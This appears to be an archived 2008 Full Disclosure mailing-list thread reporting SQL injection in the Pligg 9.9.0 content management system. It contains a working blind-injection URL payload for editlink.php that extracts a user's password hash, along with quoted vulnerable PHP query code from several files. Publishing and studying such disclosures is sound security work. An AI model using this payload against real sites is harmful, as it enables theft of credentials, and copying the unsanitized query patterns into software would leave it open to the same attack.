Login | Register For Free | Help
Search for: (Advanced)

Mailing List Archive: Full Disclosure: Full-Disclosure

Pligg 9.9.0 editlink.php SQL Injection Vulnerability

 

 

Full Disclosure full-disclosure RSS feed   Index | Next | Previous | View Threaded


lists at keamera

Apr 8, 2008, 9:27 AM

Post #1 of 2 (2648 views)
Permalink
Pligg 9.9.0 editlink.php SQL Injection Vulnerability

Hello,

the Pligg (http://www.pligg.com/) content management system is prone to
an SQL-injection vulnerability because it fails to sufficiently sanitize
user-supplied data before using it in an SQL query:


editlink.php?id=1+AND+((SELECT+user_pass+FROM+pligg_users+WHERE+user_login=0x676f64)+LIKE+0x25)+UNION+SELECT+10,2

To exploit this you need the id of a news you submitted(10 in the
example) and an id of a news submitted by others(1 in the example).

When the LIKE statement matches you get a "Not your link" error.


Guido Landi

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


lists at keamera

Apr 8, 2008, 2:10 PM

Post #2 of 2 (2434 views)
Permalink
Re: Pligg 9.9.0 editlink.php SQL Injection Vulnerability [In reply to]

While writing a little patch I found many other problems: variables are
simply not checked or checked in the very wrong way


- This is the case of my previous mail, editlink.php:

if(isset($_GET['id'])){
$theid = strip_tags($_GET['id']);
}
if(isset($_POST['id'])){
$theid = strip_tags($_POST['id']);

}
[...]
$link = $db->get_row("SELECT link_id, link_author FROM " . table_links .
" WHERE link_id=".$theid.";")
[...]
$linkres->id=$link_id = strip_tags($_POST['id']);
$linkres->read();


libs/link.php:

function read($usecache = TRUE) {
$id = $this->id;
$link = $db->get_row("SELECT " . table_links . ".* FROM " . table_links
. " WHERE link_id = $id");
}



- Another one, vote.php:

$link->id=$_POST['id'];
$link->read_basic();


link/link.php:

$id = $this->id;
$db->get_row("SELECT link_comments, link_author, link_status,
link_randkey, link_category, link_date, link_votes, link_karma,
link_published_date FROM " . table_links . " WHERE link_id = $id")


..and so on.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Full Disclosure full-disclosure RSS feed   Index | Next | Previous | View Threaded
 
 


Interested in having your list archived? Contact Gossamer Threads
 
  Web Applications & Managed Hosting Powered by Gossamer Threads Inc.